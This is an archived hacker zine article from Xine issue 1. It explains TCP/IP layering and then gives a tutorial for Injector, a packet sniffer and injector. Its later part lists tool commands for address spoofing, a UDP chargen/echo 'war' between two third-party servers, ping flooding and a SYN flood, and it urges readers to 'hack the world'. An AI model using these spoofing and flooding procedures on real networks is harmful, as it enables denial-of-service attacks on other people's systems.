Copy Link
Add to Bookmark
Report

xine-1.013

eZine's profile picture
Published in 
Xine
 · 5 years ago

  

/-----------------------------\
| Xine - issue #1 - Phile 013 |
\-----------------------------/

b0z0 and Kernel Panic
proudly brings into your hands

-------------------------------------------
| LowLevel Internet Hacking with Injector |
-------------------------------------------

a) Introduction
----------------

This is an article dealing with low level aspects of TCP/IP. It comes
toghether with a program, Injector, that helps to understand and to
play with TCP/IP networks. Please have a look in the doc directory of
Injector that you get with this zine. With Injector you can look for
packets that pass on your ethernet and enter new packets entirely
formatted by you. Even you can quite easily write C programs that looks
for a specified packet and when they get it to respond adeguately.

First of all a small intorduction to how TCP/IP works. This is only a
brief survey, so don't expect to learn too much from it. Please refer
to some good books (I personally prefer D.E. Comer's book
"Internetworking with TCP/IP"). The definitive references for the
Internet are the RFCs, but they aren't suited for first-time learning.

The key to the functionality of Internet is layering. When an
application on a given host transimits data to another host it is
passed through many -more or less indipendent- protocol layers. Every
layer does a part of work in sending the data. Because they are, at
least conceptualy, indipendent, there can be different protocol
specification for every layer. On the Internet we have three different
layer:

* The transport layer. This takes a stream of data from application
and divides it in packets. It performs also a port multiplexing, so
every applications on a machine has a port number. On the Internet the
protocol for this layer are the TCP (Transport Control Protocol) and
the UDP (User Datagram Protocol). The TCP additionaly assures (by
retrasmission) that the data is correctly passed over the network. The
packet generated by the transport layer are passed down to the next
layer.

* The internet layer. This assigns every host an unique identification
(hardware indipendent) and handles routing of packet from the source
route to the destination. It' doesn't assure that the packet is
correctly delivered, this is a duty of the previsious layer or the
application. Additionaly it provides that packets (which are now
called datagrams) are of a suitable length for the next layer by
eventually fragmenting them (and of coures reassembling them on the
destination host). The protocol uses here is the IP (Internet Protocol).

* The link layer. This depends on the various type of hardware
connection. There can be broadcast networks, many host sharing the
same medium -at least logically- or point to point links, i.e. two
host linked togheter. In the former case the protocols used are mainly
Blue Book Ethernet, IEEE 802 (Ethernet, Token Ring), X.25 in
unconnected mode, in the later PPP (Point to Point Protocol), SLIP
(Serial Line Internet Protocol) or so called virtual circuits (for
example IP in IP encapsulation wormholes or X.25 in connected
mode). Here the packet of date are called frames.

Every layer adds to the packet some additional data for internal use
(for example checksums, progressive numbers, host and port addresses,
lengths, etc.). So when flowing on the communication medium the format
of a frame is usually: link layer overhead, internet layer overhead,
transport layer overrhead, useful application data. Additionaly there
are other helper packets of various protocols, for example ARP and
RARP for finding Ethernet addresses, LCP,IPCP and others for PPP
conection negotiation, ICMP (Internet Control Message Protocol) as an
aid to IP and others. Application data can be either from user-level
application (FTP, Telnet, HTTP, etc,) or system applications (DNS for
name resolving, NFS when we speak of exported file systems,
RIP,EGP,BGP and such for route enstablishing). Both of them undergo
the layering scheme. Keep in mind that system application (DNS, NFS
and routing info) usually use UDP for efficency, instead user level
applications use TCP for easyness because TCP already provides a
reliable communication chanell.

Injector is useful in understanding Ethernet networks. I have put a
brief extract from the RFCs in this zine as reference for packet
building, but get the full RFCs as soon as you can!

b) A little Injector tutorial
-----------------------------

- Creating packets
If you want to know how to create a packet check the "Summary of useful
data in building TCP/IP packets" and give a look at our included examples.
Explaining how to create packets is a very hard thing, so I decided to
include a reference so you may be able to do it yourself :) Here is just
some stuff that you need to be able to create packets using the included
summary.
First of all, a tipical packet is like this:

------------------------------------
| Ethernet header | main packet |
------------------------------------

The ethernet header is needed and it is used to determinate from where
this packet is, what it is etc. Be sure to include the 'e' charachter in
the packet ('e' means end of the ethernet header) when you finished with
the ethernet header.
Then of course also the main packet is divided in various parts. Let see
a TCPIP main packet:

------------------------------
| IP datagram | TCP packet |
------------------------------

In the same way the an UDPIP is:

------------------------------
| IP datagram | UDP packet |
------------------------------

And then, at it's time, the TCP (or UDP) is divided into various sub
parts, but this is well explained in the summary.
But this is only for packets that uses the Internet Protocol (IP) such
as TCP, UDP, ICMP and EGP. For example the ARP (Adress Resolution
Protocol) isn't preceeded by an IP datagram, so the main packet will be
just composed from the ARP packet.
Concluding with an example a TCP packet will look like:

------------------------------------------
| eth. header | IP datagram | TCP packet |
------------------------------------------

...or better:

-----------------------------------------------------
| Eth. header | IP datagram | TCP Header | TCP Data |
-----------------------------------------------------

...while the ARP which doesn't use the IP will simply be:

------------------------------------------
| eth. header | ARP packet |
------------------------------------------

So pay attention when creating packets and when reading the summary! This
isn't a simple topic and i hope that you understanded this very-very short
intro. But i repeat: get a good book or yell us :)

- Injector as a packet sniffer
Once you have entered in Injector (and configured the net hardware :) )
you'll be able to see what is going up in your local network. The console
is divided in two parts:
* the network watcher
* the command part
In the network watcher all the packets that pass over the network are
displayed. Injector tryes to identify the packets types, their source and
their destination and of course it displays it's contents.
In the command part you can type the various commands that Injector
offers to you. Also errors will be displayed here.
If you are sniffing in a quite big local network you may be very confused
by a great traffic of packets. To prevent this you may set a filter to the
displayed output. Injector can filter the packets by:

* Type of packet. You can only look for TCP/IP packets using the
command "onlyip" and then turn back to all packet (ie.
IPX) displaying by using the command "allpack".
* Type of packet in IP datagram. You can look only for TCP packets
using the "onlytcp" command and then set it back to full
displaying (UDP, ICMP...) by using "allpkt"
* Source port. You can watch only packet from a port using the command
"maskpsrc [port number]". To watch again all the packet just set
the port to 0.
* Destination port. As for source port, but you must use the "maskpdst"
command.
* Source IP. You can watch only packet from an IP using the command
"maskipsrc [ip adress]". To reset this set the IP to 0.0.0.0.
Setting the IP to 192.12.0.0 means that packet from 192.12.*.* are
displayed.
* Destination IP. As for source IP but using the command "maskipdst".

Of course if you would like to see what's up in the net for a lot of time
it wouldn't be very pleasant to stay there day and night. And here comes
the log options. There are two types of logging:

* The normal log, which stores everything that you see on the network
wathcer (type of packet, source, destination, contents and special
stuff for some types of packet). This is activated by using the
command "logon". The log session is closed with "logoff". The
entire logging will be appended to the file INJECTOR.LOG.
* The raw log, which store everything in a byte-by-byte log. Infact
this type of log will store in a file (RAW.LOG) every byte that
comed trought the network. This of course isn't very friendly if
you would just to see what's going up in the network. The raw
logging is infact present as a help for packet creation. Infact
with the raw log you will have the opportunity to see how the
packet _really_ is and this may be of help to you when you'll
have to create your own packets. To activate the raw log you
must just enter "do rawlog" and press a key to stop it.

This are basically all the options that Injector used as a sniffer gives
you.


- Injecting packets
This is the real power of Injector: you can send *everything* that you
want (well, if the packet are someway logical and not just random data
it is much better ;)) in your local network (and, of course, the local
network will then send this ahead in the Internet if you want this).
After we have created a packet we can now inject it. Injector may just
send the packet by using "inject" function. If our packet is named
ping.pkt (i suppose it is compiled and ready to be sent) our injecting
session may look like this:

set infile ping.pkt
do inject

we have just defined that the packet that we would like to inject is
ping.pkt and then sent it. But we may also have to set an ethernet adress
for source or destination of this packet. So let's do it:

setmyeth 11:11:11:11:11:11
setethto 22:22:22:22:22:22
set filleth 1
set fillethto 1
set infile ping.pkt
do inject

we have just sent a packet with an ethernet header different from the
packet file one. Infact we have set up the source (setmyeth) and the
destination (setethto) hardware adress and then defined that we will fill
the source adress (we set filleeth to a value. 1 is just for example) and
the destination adress (we set fillethto). Then we finally sent the
packet. Of course you may not know or you may not have the possibilty to
know the hardware adress of a machine on your local network. So let's look
how to get it (we suppose that you want to get the hardware adress of
the IP 192.168.0.2) and set is as it was our ethernet adress:

set arpip 192.168.0.2
do getarp

In this way we now will have defined as our ethernet adress the ethernet
adress of the machine with the IP equal to 192.168.0.2. Infact the "do
getarp" functions send an ARP request, which is, in a few words, a request
for the harware adress for an IP. Of course if the machine doesn't exist
or is down the program will tell us that the adress haven't been set. We
can also do the same for the destination ethernet adress. Just do:

set arpip 192.168.0.1
do getarpto

that's it. Pay attention! If you are working on a network and would like
to go outside of it you must of course set the destination ethernet adress
as the hardware adress of your gateway! Note also that all the TCP packet
MUST have the ethernet destination set to the right hardware adress. The
hardware source may be quite always 255:255:255:255, the same is for the
hardware to, if you don't count TCP packets.
Well, let's suppose that we created a ping packet (the ping.pkt) and we
would like to change the IP from adresses in the ping without exiting
Injector. What shall we do? See...

setmyip 192.168.0.5
set fillipfrom 1
set infile ping.pkt
do injectip

The funcion "injectip" infact verifies if it have to fill the source IP
(if the variable fillipfrom is set it takes the IP from the setmyip), the
destination IP (if the variable fillipto is set it takes IP from the
settoip), the source port (this isn't avaiable in ICMP packets, but if it
can be applied (TCP or UDP packets) it put the value of portfrom in the
right place) or the destination port (if portto is defined). After this it
will made the right changes it will recalculate the checksums and will
send the packet with new interesting data! Simple eh?
Now let's see another example. We are dealing with the echo.pkt sample
included in the package. The packet starts an udp echo war between the
port 7 of the 192.168.0.1 and the 192.168.0.2. Let's imagine that we would
like to start an udp chargen war (on port 19) between two servers on our
net, respectively the 10.0.0.4 and 10.0.0.7 (of course they must have the
chargen active :) ) but we don't know how to change the packet manually
with an editor. Let's see how to do it:

set infile echo.pkt
setmyip 10.0.0.4
settoip 10.0.0.7
set fillipfrom 1
set fillipto 1
set portfrom 19
set portto 19
do injectip

As you may have already understanded we have first defined the file with
the packet, then defined the IPs of the two servers, defined that our
function will fill the packet with them, then we have defined the source
and destination port and finally sent the modified packet. Of course,
depending on the packet you have built, Injector will put, if allowed
(the port is only present in TCP and UDP packets. If you are sending an
ICMP packet, a ping, the ports will be totally ignored), the various
values in the right place, recalculate the checksums and send it.
Let's imagine that the sysadm of the 10.0.0.7 have just disabled the
chargen. Naaaa, what a mess! :) But hey! You can still create a good
dialog between the chargen (19) of the 10.0.0.4 and the echo (7) of
10.0.0.7. So (i consider that you haven't quit or changed anything from
the last example) we can just undefine the To port. It's simple

unset portto
do injectip

this will unset the portto, so Injector will use the original port that
was in the echo.pkt file, that's 7. We may also have done the same thing
in a more polite way:

set portto 7
do injectip

but i had to demostrate to you the unset command :)
There is also a flood example function that comes with injector. This
will just send a determinate number (let's say 666) of packets. Let's see:

set infile ping.pkt
set pktnumber 666
do flood

This will just send 666 packets ping.pkt. If the packet was just like a
real ping it will produce the effect of a "ping -f" on a *nix. Notice that
the flood function just send packets without changing them, so with this
you won't be able to do SYN-Flood attacks or something like. But to do
this (and here is where i was trying to come :) ) you can just add your
own function in Injector. Infact Injector, that of course come with full
source code, has the ability to be expanded in a very simple way by
anyone! In this way you will be able to create everything (for example
create a new synflood function that will send syn request packets but will
also change the sequence number, the source ip and the port) using the
already prepared functions. Just give a look at the main documentation if
you want to know more about adding functions.
Anyway don't desperate, also the SYN-Flood capability is included, but the
rule is that you can enhance a function or make a new one in a very short
time using the already prebuilt Injector functions.
So just wake up hack the world :)
And, as the last example, let's see how can we do a SYN-flood session.
Come on:

set arpip 192.168.0.1
do getarpto
set fillethto 1
set synip 192.168.0.1
set synportfrom 5
set synportto 80
set synpkt 100
do synflood

As you can see we will first set our ethernet adress to the destination
one (again, TCP _must_ have a good hardware adress... the gateway adress
if you want to exit from your network) and set that the program will fill
it. Then we define which host to attack, from which to which port and how
many packets (yay, 100 is a little to much... but the example will fill
the bill). And the game is done, just execute it!

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT